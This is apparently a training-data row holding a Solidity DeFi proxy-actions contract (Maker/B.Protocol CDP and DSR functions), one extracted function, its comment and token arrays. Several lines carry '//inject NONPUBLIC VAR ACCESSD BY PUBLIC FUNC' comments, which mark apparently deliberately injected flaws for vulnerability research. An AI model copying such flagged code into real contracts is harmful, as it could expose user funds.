file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
/** *Submitted for verification at Etherscan.io on 2020-10-11 */ /* B.PROTOCOL TERMS OF USE ======================= THE TERMS OF USE CONTAINED HEREIN (THESE 1TERMS1) GOVERN YOUR USE OF B.PROTOCOL, WHICH IS A DECENTRALIZED PROTOCOL ON THE ETHEREUM BLOCKCHAIN (the 1PROTOCOL1) THAT enables a backstop liquidity mechanism FOR DECENTRALIZED LENDING PLATFORMS1(1DLPs1). PLEASE READ THESE TERMS CAREFULLY AT https://github.com/backstop-protocol/Terms-and-Conditions, INCLUDING ALL DISCLAIMERS AND RISK FACTORS, BEFORE USING THE PROTOCOL. BY USING THE PROTOCOL, YOU ARE IRREVOCABLY CONSENTING TO BE BOUND BY THESE TERMS. IF YOU DO NOT AGREE TO ALL OF THESE TERMS, DO NOT USE THE PROTOCOL. YOUR RIGHT TO USE THE PROTOCOL IS SUBJECT AND DEPENDENT BY YOUR AGREEMENT TO ALL TERMS AND CONDITIONS SET FORTH HEREIN, WHICH AGREEMENT SHALL BE EVIDENCED BY YOUR USE OF THE PROTOCOL. Minors Prohibited: The Protocol is not directed to individuals under the age of eighteen (18) or the age of majority in your jurisdiction if the age of majority is greater. If you are under the age of eighteen or the age of majority (if greater), you are not authorized to access or use the Protocol. By using the Protocol, you represent and warrant that you are above such age. License; No Warranties; Limitation of Liability; (a) The software underlying the Protocol is licensed for use in accordance with the 3-clause BSD License, which can be accessed here: https://opensource.org/licenses/BSD-3-Clause. (b) THE PROTOCOL IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", 1WITH ALL FAULTS1 and 1AS AVAILABLE1 AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. (c) IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /// DssProxyActions.sol // Copyright (C) 2018-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity ^0.5.12; contract GemLike { function approve(address, uint) public; function transfer(address, uint) public; function transferFrom(address, address, uint) public; function deposit() public payable; function withdraw(uint) public; } contract ManagerLike { function cdpCan(address, uint, address) public view returns (uint); function ilks(uint) public view returns (bytes32); function owns(uint) public view returns (address); function urns(uint) public view returns (address); function vat() public view returns (address); function open(bytes32, address) public returns (uint); function give(uint, address) public; function cdpAllow(uint, address, uint) public; function urnAllow(address, uint) public; function frob(uint, int, int) public; function flux(uint, address, uint) public; function move(uint, address, uint) public; function exit(address, uint, address, uint) public; function quit(uint, address) public; function enter(address, uint) public; function shift(uint, uint) public; } contract VatLike { function can(address, address) public view returns (uint); function ilks(bytes32) public view returns (uint, uint, uint, uint, uint); function dai(address) public view returns (uint); function urns(bytes32, address) public view returns (uint, uint); function frob(bytes32, address, address, address, int, int) public; function hope(address) public; function move(address, address, uint) public; } contract GemJoinLike { function dec() public returns (uint); function gem() public returns (GemLike); function join(address, uint) public payable; function exit(address, uint) public; } contract GNTJoinLike { function bags(address) public view returns (address); function make(address) public returns (address); } contract DaiJoinLike { function vat() public returns (VatLike); function dai() public returns (GemLike); function join(address, uint) public payable; function exit(address, uint) public; } contract HopeLike { function hope(address) public; function nope(address) public; } contract EndLike { function fix(bytes32) public view returns (uint); function cash(bytes32, uint) public; function free(bytes32) public; function pack(uint) public; function skim(bytes32, address) public; } contract JugLike { function drip(bytes32) public returns (uint); } contract PotLike { function pie(address) public view returns (uint); function drip() public returns (uint); function join(uint) public; function exit(uint) public; } contract ProxyRegistryLike { function proxies(address) public view returns (address); function build(address) public returns (address); } contract ProxyLike { function owner() public view returns (address); } // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! // WARNING: These functions meant to be used as a a library for a DSProxy. Some are unsafe if you call them directly. // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! contract Common { uint256 constant RAY = 10 ** 27; // Internal functions function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "mul-overflow"); } // Public functions function daiJoin_join(address apt, address urn, uint wad) public { // Gets DAI from the user's wallet DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad); // Approves adapter to take the DAI amount DaiJoinLike(apt).dai().approve(apt, wad); // Joins DAI into the vat DaiJoinLike(apt).join(urn, wad); } } contract DssProxyActions is Common { // Internal functions function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "sub-overflow"); } function toInt(uint x) internal pure returns (int y) { y = int(x); require(y >= 0, "int-overflow"); } function toRad(uint wad) internal pure returns (uint rad) { rad = mul(wad, 10 ** 27); } function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) { // For those collaterals that have less than 18 decimals precision we need to do the conversion before passing to frob function // Adapters will automatically handle the difference of precision wad = mul( amt, 10 ** (18 - GemJoinLike(gemJoin).dec()) ); } function _getDrawDart( address vat, address jug, address urn, bytes32 ilk, uint wad ) internal returns (int dart) { // Updates stability fee rate uint rate = JugLike(jug).drip(ilk); // Gets DAI balance of the urn in the vat uint dai = VatLike(vat).dai(urn); // If there was already enough DAI in the vat balance, just exits it without adding more debt if (dai < mul(wad, RAY)) { // Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens dart = toInt(sub(mul(wad, RAY), dai) / rate); // This is neeeded due lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount) dart = mul(uint(dart), rate) < mul(wad, RAY) ? dart + 1 : dart; } } function _getWipeDart( address vat, uint dai, address urn, bytes32 ilk ) internal view returns (int dart) { // Gets actual rate from the vat (, uint rate,,,) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint art) = VatLike(vat).urns(ilk, urn); // Uses the whole dai balance in the vat to reduce the debt dart = toInt(dai / rate); // Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value dart = uint(dart) <= art ? - dart : - toInt(art); } function _getWipeAllWad( address vat, address usr, address urn, bytes32 ilk ) internal view returns (uint wad) { // Gets actual rate from the vat (, uint rate,,,) = VatLike(vat).ilks(ilk); // Gets actual art value of the urn (, uint art) = VatLike(vat).urns(ilk, urn); // Gets actual dai amount in the urn uint dai = VatLike(vat).dai(usr); uint rad = sub(mul(art, rate), dai); wad = rad / RAY; // If the rad precision has some dust, it will need to request for 1 extra wad wei wad = mul(wad, RAY) < rad ? wad + 1 : wad; } // Public functions function transfer(address gem, address dst, uint amt) public { GemLike(gem).transfer(dst, amt); } function ethJoin_join(address apt, address urn) public payable { // Wraps ETH in WETH GemJoinLike(apt).gem().deposit.value(msg.value)(); // Approves adapter to take the WETH amount GemJoinLike(apt).gem().approve(address(apt), msg.value); // Joins WETH collateral into the vat GemJoinLike(apt).join(urn, msg.value); } function gemJoin_join(address apt, address urn, uint amt, bool transferFrom) public { // Only executes for tokens that have approval/transferFrom implementation if (transferFrom) { // Gets token from the user's wallet GemJoinLike(apt).gem().transferFrom(msg.sender, address(this), amt); // Approves adapter to take the token amount GemJoinLike(apt).gem().approve(apt, amt); } // Joins token collateral into the vat GemJoinLike(apt).join(urn, amt); } function hope( address obj, address usr ) public { HopeLike(obj).hope(usr); } function nope( address obj, address usr ) public { HopeLike(obj).nope(usr); } function open( address manager, bytes32 ilk, address usr ) public returns (uint cdp) { cdp = ManagerLike(manager).open(ilk, usr); } function give( address manager, uint cdp, address usr ) public { ManagerLike(manager).give(cdp, usr); } function giveToProxy( address proxyRegistry, address manager, uint cdp, address dst ) public { // Gets actual proxy address address proxy = ProxyRegistryLike(proxyRegistry).proxies(dst); // Checks if the proxy address already existed and dst address is still the owner if (proxy == address(0) || ProxyLike(proxy).owner() != dst) { uint csize; assembly { csize := extcodesize(dst) } // We want to avoid creating a proxy for a contract address that might not be able to handle proxies, then losing the CDP require(csize == 0, "Dst-is-a-contract"); // Creates the proxy for the dst address proxy = ProxyRegistryLike(proxyRegistry).build(dst); } // Transfers CDP to the dst proxy give(manager, cdp, proxy); } function cdpAllow( address manager, uint cdp, address usr, uint ok ) public { ManagerLike(manager).cdpAllow(cdp, usr, ok); } function urnAllow( address manager, address usr, uint ok ) public { ManagerLike(manager).urnAllow(usr, ok); } function flux( address manager, uint cdp, address dst, uint wad ) public { ManagerLike(manager).flux(cdp, dst, wad); } function move( address manager, uint cdp, address dst, uint rad ) public { ManagerLike(manager).move(cdp, dst, rad); } function frob( address manager, uint cdp, int dink, int dart ) public { ManagerLike(manager).frob(cdp, dink, dart); } function quit( address manager, uint cdp, address dst ) public { ManagerLike(manager).quit(cdp, dst); } function enter( address manager, address src, uint cdp ) public { ManagerLike(manager).enter(src, cdp); } function shift( address manager, uint cdpSrc, uint cdpOrg ) public { ManagerLike(manager).shift(cdpSrc, cdpOrg); } function makeGemBag( address gemJoin ) public returns (address bag) { bag = GNTJoinLike(gemJoin).make(address(this)); } function lockETH( address manager, address ethJoin, uint cdp ) public payable { // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, address(this)); // Locks WETH amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(msg.value), 0 ); } function safeLockETH( address manager, address ethJoin, uint cdp, address owner ) public payable { require(ManagerLike(manager).owns(cdp) == owner, "owner-missmatch"); lockETH(manager, ethJoin, cdp); } function lockGem( address manager, address gemJoin, uint cdp, uint amt, bool transferFrom ) public { // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, address(this), amt, transferFrom); // Locks token amount into the CDP VatLike(ManagerLike(manager).vat()).frob( ManagerLike(manager).ilks(cdp), ManagerLike(manager).urns(cdp), address(this), address(this), toInt(convertTo18(gemJoin, amt)), 0 ); } function safeLockGem( address manager, address gemJoin, uint cdp, uint amt, bool transferFrom, address owner ) public { require(ManagerLike(manager).owns(cdp) == owner, "owner-missmatch"); lockGem(manager, gemJoin, cdp, amt, transferFrom); } function freeETH( address manager, address ethJoin, uint cdp, uint wad ) public { // Unlocks WETH amount from the CDP frob(manager, cdp, -toInt(wad), 0); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wad); // Exits WETH amount to proxy address as a token GemJoinLike(ethJoin).exit(address(this), wad); // Converts WETH to ETH GemJoinLike(ethJoin).gem().withdraw(wad); // Sends ETH back to the user's wallet msg.sender.transfer(wad); } function freeGem( address manager, address gemJoin, uint cdp, uint amt ) public { uint wad = convertTo18(gemJoin, amt); // Unlocks token amount from the CDP frob(manager, cdp, -toInt(wad), 0); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wad); // Exits token amount to the user's wallet as a token GemJoinLike(gemJoin).exit(msg.sender, amt); } function exitETH( address manager, address ethJoin, uint cdp, uint wad ) public { // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wad); // Exits WETH amount to proxy address as a token GemJoinLike(ethJoin).exit(address(this), wad); // Converts WETH to ETH GemJoinLike(ethJoin).gem().withdraw(wad); // Sends ETH back to the user's wallet msg.sender.transfer(wad); } function exitGem( address manager, address gemJoin, uint cdp, uint amt ) public { // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), convertTo18(gemJoin, amt)); // Exits token amount to the user's wallet as a token GemJoinLike(gemJoin).exit(msg.sender, amt); } function draw( address manager, address jug, address daiJoin, uint cdp, uint wad ) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Generates debt in the CDP frob(manager, cdp, 0, _getDrawDart(vat, jug, urn, ilk, wad)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wad)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wad); } function wipe( address manager, address daiJoin, uint cdp, uint wad ) public { address vat = ManagerLike(manager).vat(); address urn = ManagerLike(manager).urns(cdp); bytes32 ilk = ManagerLike(manager).ilks(cdp); address own = ManagerLike(manager).owns(cdp); if (own == address(this) || ManagerLike(manager).cdpCan(own, cdp, address(this)) == 1) { // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, wad); // Paybacks debt to the CDP frob(manager, cdp, 0, _getWipeDart(vat, VatLike(vat).dai(urn), urn, ilk)); } else { // Joins DAI amount into the vat daiJoin_join(daiJoin, address(this), wad); // Paybacks debt to the CDP VatLike(vat).frob( ilk, urn, address(this), address(this), 0, _getWipeDart(vat, wad * RAY, urn, ilk) //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC ); } } function safeWipe( address manager, address daiJoin, uint cdp, uint wad, address owner ) public { require(ManagerLike(manager).owns(cdp) == owner, "owner-missmatch"); wipe(manager, daiJoin, cdp, wad); } function wipeAll( address manager, address daiJoin, uint cdp ) public { address vat = ManagerLike(manager).vat(); address urn = ManagerLike(manager).urns(cdp); bytes32 ilk = ManagerLike(manager).ilks(cdp); (, uint art) = VatLike(vat).urns(ilk, urn); address own = ManagerLike(manager).owns(cdp); if (own == address(this) || ManagerLike(manager).cdpCan(own, cdp, address(this)) == 1) { // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk)); // Paybacks debt to the CDP frob(manager, cdp, 0, -int(art)); } else { // Joins DAI amount into the vat daiJoin_join(daiJoin, address(this), _getWipeAllWad(vat, address(this), urn, ilk)); // Paybacks debt to the CDP VatLike(vat).frob( ilk, urn, address(this), address(this), 0, -int(art) ); } } function safeWipeAll( address manager, address daiJoin, uint cdp, address owner ) public { require(ManagerLike(manager).owns(cdp) == owner, "owner-missmatch"); wipeAll(manager, daiJoin, cdp); } function lockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, uint cdp, uint wadD ) public payable { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, urn); // Locks WETH amount into the CDP and generates debt frob(manager, cdp, toInt(msg.value), _getDrawDart(vat, jug, urn, ilk, wadD)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockETHAndDraw( address manager, address jug, address ethJoin, address daiJoin, bytes32 ilk, uint wadD ) public payable returns (uint cdp) { cdp = open(manager, ilk, address(this)); lockETHAndDraw(manager, jug, ethJoin, daiJoin, cdp, wadD); } function lockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, uint cdp, uint amtC, uint wadD, bool transferFrom ) public { address urn = ManagerLike(manager).urns(cdp); address vat = ManagerLike(manager).vat(); bytes32 ilk = ManagerLike(manager).ilks(cdp); // Takes token amount from user's wallet and joins into the vat gemJoin_join(gemJoin, urn, amtC, transferFrom); // Locks token amount into the CDP and generates debt frob(manager, cdp, toInt(convertTo18(gemJoin, amtC)), _getDrawDart(vat, jug, urn, ilk, wadD)); // Moves the DAI amount (balance in the vat in rad) to proxy's address move(manager, cdp, address(this), toRad(wadD)); // Allows adapter to access to proxy's DAI balance in the vat if (VatLike(vat).can(address(this), address(daiJoin)) == 0) { VatLike(vat).hope(daiJoin); } // Exits DAI to the user's wallet as a token DaiJoinLike(daiJoin).exit(msg.sender, wadD); } function openLockGemAndDraw( address manager, address jug, address gemJoin, address daiJoin, bytes32 ilk, uint amtC, uint wadD, bool transferFrom ) public returns (uint cdp) { cdp = open(manager, ilk, address(this)); lockGemAndDraw(manager, jug, gemJoin, daiJoin, cdp, amtC, wadD, transferFrom); } function openLockGNTAndDraw( address manager, address jug, address gntJoin, address daiJoin, bytes32 ilk, uint amtC, uint wadD ) public returns (address bag, uint cdp) { // Creates bag (if doesn't exist) to hold GNT bag = GNTJoinLike(gntJoin).bags(address(this)); if (bag == address(0)) { bag = makeGemBag(gntJoin); } // Transfer funds to the funds which previously were sent to the proxy GemLike(GemJoinLike(gntJoin).gem()).transfer(bag, amtC); cdp = openLockGemAndDraw(manager, jug, gntJoin, daiJoin, ilk, amtC, wadD, false); } function wipeAndFreeETH( address manager, address ethJoin, address daiJoin, uint cdp, uint wadC, uint wadD ) public { address urn = ManagerLike(manager).urns(cdp); // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, wadD); // Paybacks debt to the CDP and unlocks WETH amount from it frob( manager, cdp, -toInt(wadC), _getWipeDart(ManagerLike(manager).vat(), VatLike(ManagerLike(manager).vat()).dai(urn), urn, ManagerLike(manager).ilks(cdp)) ); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wadC); // Exits WETH amount to proxy address as a token GemJoinLike(ethJoin).exit(address(this), wadC); // Converts WETH to ETH GemJoinLike(ethJoin).gem().withdraw(wadC); // Sends ETH back to the user's wallet msg.sender.transfer(wadC); } function wipeAllAndFreeETH( address manager, address ethJoin, address daiJoin, uint cdp, uint wadC ) public { address vat = ManagerLike(manager).vat(); address urn = ManagerLike(manager).urns(cdp); bytes32 ilk = ManagerLike(manager).ilks(cdp); (, uint art) = VatLike(vat).urns(ilk, urn); // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk)); // Paybacks debt to the CDP and unlocks WETH amount from it frob( manager, cdp, -toInt(wadC), -int(art) ); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wadC); // Exits WETH amount to proxy address as a token GemJoinLike(ethJoin).exit(address(this), wadC); // Converts WETH to ETH GemJoinLike(ethJoin).gem().withdraw(wadC); // Sends ETH back to the user's wallet msg.sender.transfer(wadC); } function wipeAndFreeGem( address manager, address gemJoin, address daiJoin, uint cdp, uint amtC, uint wadD ) public { address urn = ManagerLike(manager).urns(cdp); // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, wadD); uint wadC = convertTo18(gemJoin, amtC); // Paybacks debt to the CDP and unlocks token amount from it frob( manager, cdp, -toInt(wadC), _getWipeDart(ManagerLike(manager).vat(), VatLike(ManagerLike(manager).vat()).dai(urn), urn, ManagerLike(manager).ilks(cdp)) ); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wadC); // Exits token amount to the user's wallet as a token GemJoinLike(gemJoin).exit(msg.sender, amtC); } function wipeAllAndFreeGem( address manager, address gemJoin, address daiJoin, uint cdp, uint amtC ) public { address vat = ManagerLike(manager).vat(); address urn = ManagerLike(manager).urns(cdp); bytes32 ilk = ManagerLike(manager).ilks(cdp); (, uint art) = VatLike(vat).urns(ilk, urn); // Joins DAI amount into the vat daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk)); uint wadC = convertTo18(gemJoin, amtC); // Paybacks debt to the CDP and unlocks token amount from it frob( manager, cdp, -toInt(wadC), -int(art) ); // Moves the amount from the CDP urn to proxy's address flux(manager, cdp, address(this), wadC); // Exits token amount to the user's wallet as a token GemJoinLike(gemJoin).exit(msg.sender, amtC); } } contract DssProxyActionsEnd is Common { // Internal functions function _free( address manager, address end, uint cdp ) internal returns (uint ink) { bytes32 ilk = ManagerLike(manager).ilks(cdp); address urn = ManagerLike(manager).urns(cdp); VatLike vat = VatLike(ManagerLike(manager).vat()); uint art; (ink, art) = vat.urns(ilk, urn); // If CDP still has debt, it needs to be paid if (art > 0) { EndLike(end).skim(ilk, urn); (ink,) = vat.urns(ilk, urn); } // Approves the manager to transfer the position to proxy's address in the vat if (vat.can(address(this), address(manager)) == 0) { vat.hope(manager); } // Transfers position from CDP to the proxy address ManagerLike(manager).quit(cdp, address(this)); // Frees the position and recovers the collateral in the vat registry EndLike(end).free(ilk); } // Public functions function freeETH( address manager, address ethJoin, address end, uint cdp ) public { uint wad = _free(manager, end, cdp); // Exits WETH amount to proxy address as a token GemJoinLike(ethJoin).exit(address(this), wad); // Converts WETH to ETH GemJoinLike(ethJoin).gem().withdraw(wad); // Sends ETH back to the user's wallet msg.sender.transfer(wad); } function freeGem( address manager, address gemJoin, address end, uint cdp ) public { uint amt = _free(manager, end, cdp) / 10 ** (18 - GemJoinLike(gemJoin).dec()); // Exits token amount to the user's wallet as a token GemJoinLike(gemJoin).exit(msg.sender, amt); } function pack( address daiJoin, address end, uint wad ) public { daiJoin_join(daiJoin, address(this), wad); VatLike vat = DaiJoinLike(daiJoin).vat(); // Approves the end to take out DAI from the proxy's balance in the vat if (vat.can(address(this), address(end)) == 0) { vat.hope(end); } EndLike(end).pack(wad); } function cashETH( address ethJoin, address end, bytes32 ilk, uint wad ) public { EndLike(end).cash(ilk, wad); uint wadC = mul(wad, EndLike(end).fix(ilk)) / RAY; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC // Exits WETH amount to proxy address as a token GemJoinLike(ethJoin).exit(address(this), wadC); // Converts WETH to ETH GemJoinLike(ethJoin).gem().withdraw(wadC); // Sends ETH back to the user's wallet msg.sender.transfer(wadC); } function cashGem( address gemJoin, address end, bytes32 ilk, uint wad ) public { EndLike(end).cash(ilk, wad); // Exits token amount to the user's wallet as a token uint amt = mul(wad, EndLike(end).fix(ilk)) / RAY / 10 ** (18 - GemJoinLike(gemJoin).dec()); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC GemJoinLike(gemJoin).exit(msg.sender, amt); } } contract DssProxyActionsDsr is Common { function join( address daiJoin, address pot, uint wad ) public { VatLike vat = DaiJoinLike(daiJoin).vat(); // Executes drip to get the chi rate updated to rho == now, otherwise join will fail uint chi = PotLike(pot).drip(); // Joins wad amount to the vat balance daiJoin_join(daiJoin, address(this), wad); // Approves the pot to take out DAI from the proxy's balance in the vat if (vat.can(address(this), address(pot)) == 0) { vat.hope(pot); } // Joins the pie value (equivalent to the DAI wad amount) in the pot PotLike(pot).join(mul(wad, RAY) / chi); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function exit( address daiJoin, address pot, uint wad ) public { VatLike vat = DaiJoinLike(daiJoin).vat(); // Executes drip to count the savings accumulated until this moment uint chi = PotLike(pot).drip(); // Calculates the pie value in the pot equivalent to the DAI wad amount uint pie = mul(wad, RAY) / chi; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC // Exits DAI from the pot PotLike(pot).exit(pie); // Checks the actual balance of DAI in the vat after the pot exit uint bal = DaiJoinLike(daiJoin).vat().dai(address(this)); // Allows adapter to access to proxy's DAI balance in the vat if (vat.can(address(this), address(daiJoin)) == 0) { vat.hope(daiJoin); } // It is necessary to check if due rounding the exact wad amount can be exited by the adapter. // Otherwise it will do the maximum DAI balance in the vat DaiJoinLike(daiJoin).exit( msg.sender, bal >= mul(wad, RAY) ? wad : bal / RAY //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC ); } function exitAll( address daiJoin, address pot ) public { VatLike vat = DaiJoinLike(daiJoin).vat(); // Executes drip to count the savings accumulated until this moment uint chi = PotLike(pot).drip(); // Gets the total pie belonging to the proxy address uint pie = PotLike(pot).pie(address(this)); // Exits DAI from the pot PotLike(pot).exit(pie); // Allows adapter to access to proxy's DAI balance in the vat if (vat.can(address(this), address(daiJoin)) == 0) { vat.hope(daiJoin); } // Exits the DAI amount corresponding to the value of pie DaiJoinLike(daiJoin).exit(msg.sender, mul(chi, pie) / RAY); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } } /// BProxyActions.sol contract BProxyActions is DssProxyActions { function shiftManager( address managerSrc, address managerDst, uint cdpSrc, uint cdpDst ) public { address vat = ManagerLike(managerSrc).vat(); require(vat == ManagerLike(managerDst).vat(), "vat-mismatch"); bool canSrc = (VatLike(vat).can(address(this), managerSrc) != 0); bool canDst = (VatLike(vat).can(address(this), managerDst) != 0); if(! canSrc) hope(vat, managerSrc); if(! canDst) hope(vat, managerDst); quit(managerSrc, cdpSrc, address(this)); enter(managerDst, address(this), cdpDst); if(! canSrc) nope(vat, managerSrc); if(! canDst) nope(vat, managerDst); } function lockETHViaCdp( address manager, address ethJoin, uint cdp ) public payable { address urn = ManagerLike(manager).urns(cdp); // Receives ETH amount, converts it to WETH and joins it into the vat ethJoin_join(ethJoin, urn); // Locks WETH amount into the CDP and generates debt frob(manager, cdp, toInt(msg.value), 0); } function openLockETHAndGiveToProxy( address proxyRegistry, address manager, address ethJoin, bytes32 ilk, address dst ) public payable returns (uint cdp) { cdp = open(manager, ilk, address(this)); lockETHViaCdp(manager,ethJoin,cdp); giveToProxy(proxyRegistry,manager,cdp,dst); } function openAndImportFromManager( address managerSrc, address managerDst, uint cdpSrc, bytes32 ilk ) public payable returns (uint cdp) { cdp = open(managerDst, ilk, address(this)); shiftManager(managerSrc,managerDst,cdpSrc,cdp); } }
Joins DAI amount into the vat Paybacks debt to the CDP and unlocks WETH amount from it Moves the amount from the CDP urn to proxy's address Exits WETH amount to proxy address as a token Converts WETH to ETH Sends ETH back to the user's wallet
function wipeAllAndFreeETH( address manager, address ethJoin, address daiJoin, uint cdp, uint wadC ) public { address vat = ManagerLike(manager).vat(); address urn = ManagerLike(manager).urns(cdp); bytes32 ilk = ManagerLike(manager).ilks(cdp); (, uint art) = VatLike(vat).urns(ilk, urn); daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk)); frob( manager, cdp, -toInt(wadC), -int(art) ); flux(manager, cdp, address(this), wadC); GemJoinLike(ethJoin).exit(address(this), wadC); GemJoinLike(ethJoin).gem().withdraw(wadC); msg.sender.transfer(wadC); }
982,552
[ 1, 21108, 463, 18194, 3844, 1368, 326, 17359, 13838, 823, 87, 18202, 88, 358, 326, 385, 8640, 471, 7186, 87, 678, 1584, 44, 3844, 628, 518, 490, 10829, 326, 3844, 628, 326, 385, 8640, 18412, 358, 2889, 1807, 1758, 1312, 1282, 678, 1584, 44, 3844, 358, 2889, 1758, 487, 279, 1147, 20377, 678, 1584, 44, 358, 512, 2455, 2479, 87, 512, 2455, 1473, 358, 326, 729, 1807, 9230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
